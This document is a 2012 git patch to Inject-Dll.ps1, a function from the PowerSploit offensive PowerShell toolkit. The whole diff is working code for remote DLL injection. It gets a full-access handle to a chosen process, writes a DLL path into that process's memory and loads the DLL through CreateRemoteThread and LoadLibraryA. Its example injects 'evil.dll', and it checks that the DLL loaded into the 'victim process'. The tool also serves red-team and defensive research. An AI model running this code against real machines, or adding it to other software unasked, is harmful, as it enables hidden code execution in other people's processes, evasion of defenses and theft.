From 60670bd95ea7d72366cccc64261185783b371db0 Mon Sep 17 00:00:00 2001 From: bitform Date: Fri, 21 Sep 2012 12:13:16 -0400 Subject: Nearly complete rewrite of Inject-Dll The functionality remains the same but the code was cleaned up drastically to be more consistent with PowerShell scripting best practices. --- Inject-Dll.ps1 | 317 ++++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 224 insertions(+), 93 deletions(-) diff --git a/Inject-Dll.ps1 b/Inject-Dll.ps1 index 3be5d07..ead4753 100644 --- a/Inject-Dll.ps1 +++ b/Inject-Dll.ps1 @@ -1,68 +1,90 @@ function Inject-Dll { <# -.Synopsis - - PowerSploit Module - Inject-Dll - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - -.Description - - Inject-Dll injects a Dll into the process ID of your choosing. - -.Parameter ProcessID - - Process ID of the process you want to inject a Dll into. - -.Parameter Dll - - Name of the dll to inject. This can be an absolute or relative path. - -.Example - - PS> Inject-DLL 4274 evil.dll - - Description - ----------- - Inject 'evil.dll' into process ID 4274. - -.Notes - - Use the '-Verbose' option to print detailed information. - -.Link - - My blog: http://www.exploit-monday.com +.SYNOPSIS + + PowerSploit Module - Inject-Dll + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + +.DESCRIPTION + + Inject-Dll injects a Dll into the process ID of your choosing. + +.PARAMETER ProcessID + + Process ID of the process you want to inject a Dll into. + +.PARAMETER Dll + + Name of the dll to inject. This can be an absolute or relative path. + +.EXAMPLE + + C:\PS> Inject-DLL -ProcessID 4274 -Dll evil.dll + + Description + ----------- + Inject 'evil.dll' into process ID 4274. + +.NOTES + + Use the '-Verbose' option to print detailed information. + +.LINK + + http://www.exploit-monday.com #> Param ( - [Parameter(Position = 0, Mandatory = $True)] [Int] $ProcessID, - [Parameter(Position = 1, Mandatory = $True)] [String] $Dll + [Parameter( Position = 0, + Mandatory = $True )] + [Int] + $ProcessID, + + [Parameter( Position = 1, + Mandatory = $True )] + [String] + $Dll ) - try { + # Confirm that the process you want to inject into exists + try + { Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } catch [System.Management.Automation.ActionPreferenceStopException] { - Write-Warning "Process does not exist!" - return + } + catch [System.Management.Automation.ActionPreferenceStopException] + { + Throw "Process does not exist!" } - try { + # Confirm that the path to the dll exists + try + { $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path Write-Verbose "Full path to Dll: $Dll" $AsciiEncoder = New-Object System.Text.ASCIIEncoding + # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process. $DllByteArray = $AsciiEncoder.GetBytes($Dll) - } catch [System.Management.Automation.ActionPreferenceStopException] { - Write-Warning "Invalid Dll path!" - return + } + catch [System.Management.Automation.ActionPreferenceStopException] + { + Throw "Invalid Dll path!" } - function Get-DelegateType + function Local:Get-DelegateType { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, - [Parameter(Position = 1)] [Type] $ReturnType = [Void] + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain @@ -75,14 +97,22 @@ function Inject-Dll { $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - return $TypeBuilder.CreateType() + Write-Output $TypeBuilder.CreateType() } - function Get-ProcAddress + function Local:Get-ProcAddress { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [String] $Module, - [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure ) # Get a reference to System.dll in the GAC @@ -96,11 +126,73 @@ function Inject-Dll { $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - # Return the address of the function - return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } + + function Local:Get-PEArchitecture + { + Param + ( + [Parameter( Position = 0, + Mandatory = $True )] + [String] + $Path + ) + + # Parse PE header to see if binary was compiled 32 or 64-bit + $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) + + [Byte[]] $MZHeader = New-Object Byte[](2) + $FileStream.Read($MZHeader,0,2) | Out-Null + + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) + if ($Header -ne 'MZ') + { + $FileStream.Close() + Throw 'Invalid PE header.' + } + + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) + $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null + [Byte[]] $lfanew = New-Object Byte[](4) + + # Read offset to the PE Header (will be read in reverse) + $FileStream.Read($lfanew,0,4) | Out-Null + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) + + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE + $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null + [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) + + # Read compiled architecture + $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $FileStream.Close() + + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) + { + Throw 'Invalid PE header or unsupported architecture.' + } + + if ($Architecture -eq '014C') + { + Write-Output 'X86' + } + elseif ($Architecture -eq '8664') + { + Write-Output 'X64' + } + else + { + Write-Output 'OTHER' + } + } + + + # Get addresses of and declare delegates for essential Win32 functions. $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) @@ -120,50 +212,75 @@ function Inject-Dll { $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - $64bitCPU = $true + # Assume CPU to be 64-bit unless determined otherwise. + $64bitCPU = $True - if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } + # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type. + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $True + } + else + { + $PowerShell32bit = $False + } + + # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) { + + if ($IsWow64ProcessAddr) + { $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - } else { - $64bitCPU = $false + } + else + { + # IsWow64Process does not exist and thus, the CPU is not 64-bit. + $64bitCPU = $False } # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return } + + if (!$hProcess) + { + THrow 'Unable to open process handle.' + } + + $Architecture = Get-PEArchitecture $Dll if ($64bitCPU) # Only perform theses checks if CPU is 64-bit { - # Parse PE header to see if DLL was compiled 32 or 64-bit - $DllFileStream = New-Object System.IO.FileStream($Dll, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) - $temp = $DllFileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) - [Byte[]]$TempByteArray = New-Object Byte[](4) - # Read offset to the PE Header (will be read in reverse) - $Temp = $DllFileStream.Read($TempByteArray,0,4) - $PEOffset = [Int] ('0x{0}' -f (( $TempByteArray[-1..-4] | % { $_.ToString('X2') } ) -join '')) - Write-Verbose "PE Offset: 0x$($PEOffset.ToString('X8'))" - # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE - $DllFileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null - [Byte[]]$TempByteArray2 = New-Object Byte[](2) - # Read compiled architecture - $Temp = $DllFileStream.Read($TempByteArray2,0,2) - $Architecture = '{0}' -f (( $TempByteArray2[-1..-2] | % { $_.ToString('X2') } ) -join '') - Write-Verbose "DLL Architecture: 0x$Architecture" - if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Write-Warning 'Only x86 or AMD64 architechtures supported.'; return } - $DllFileStream.Close() - - # Determine is the process specified is 32 or 64 bit - $IsWow64 = $false + if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') ) + { + Throw 'Only x86 or AMD64 architechtures supported.' + } + + # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise. + $IsWow64 = $False $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - if ( $PowerShell32bit -and ($Architecture -eq "8664") ) { - Write-Warning 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'; return + + if ( $PowerShell32bit -and ($Architecture -eq 'X64') ) + { + Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.' + } + + if ( (!$IsWow64) -and ($Architecture -eq 'X86') ) + { + Throw 'You cannot inject a 32-bit DLL into a 64-bit process.' + } + + if ( $IsWow64 -and ($Architecture -eq 'X64') ) + { + Throw 'You cannot inject a 64-bit DLL into a 32-bit process.' + } + } + else + { + if ($Architecture -ne 'X86') + { + Throw 'PE file was not compiled for x86.' } - if ((!$IsWow64) -and ($Architecture -eq "014C")) { Write-Warning 'You cannot inject a 32-bit DLL into a 64-bit process.'; return } - if ($IsWow64 -and ($Architecture -eq "8664")) { Write-Warning 'You cannot inject a 64-bit DLL into a 32-bit process.'; return } } # Get address of LoadLibraryA function @@ -171,18 +288,23 @@ function Inject-Dll { Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))" # Reserve and commit memory to hold name of dll - $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (Reserve|Commit, RW) - if ($RemoteMemAddr -eq [IntPtr]::Zero) { Write-Warning 'Unable to allocate memory in remote process.'; return } + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW) + if ($RemoteMemAddr -eq [IntPtr]::Zero) + { + Throw 'Unable to allocate memory in remote process.' + } Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" - Write-Verbose "Number of chars in Dll path: $($DllByteArray.Length)" # Write the name of the dll to the remote process address space $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null Write-Verbose "Dll path written sucessfully." # Execute dll as a remote thread - $threadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - if (!$threadHandle) { Write-Warning 'Unable to launch remote thread.'; return } + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw 'Unable to launch remote thread.' + } $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) @@ -190,6 +312,15 @@ function Inject-Dll { $CloseHandle.Invoke($hProcess) | Out-Null Write-Verbose 'Dll injection complete!' - Write-Verbose 'Execute `(Get-Process -Id [ProcessId]).Modules` to confirm.' - -} + + # Extract just the filename from the provided path to the dll. + $FileName = Split-Path $Dll -Leaf + $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String + + if (!$DllInfo) + { + Throw "Dll did dot inject properly into the victim process." + } + + Write-Verbose "Injected DLL information:$($DllInfo)" +} \ No newline at end of file -- cgit v1.2.3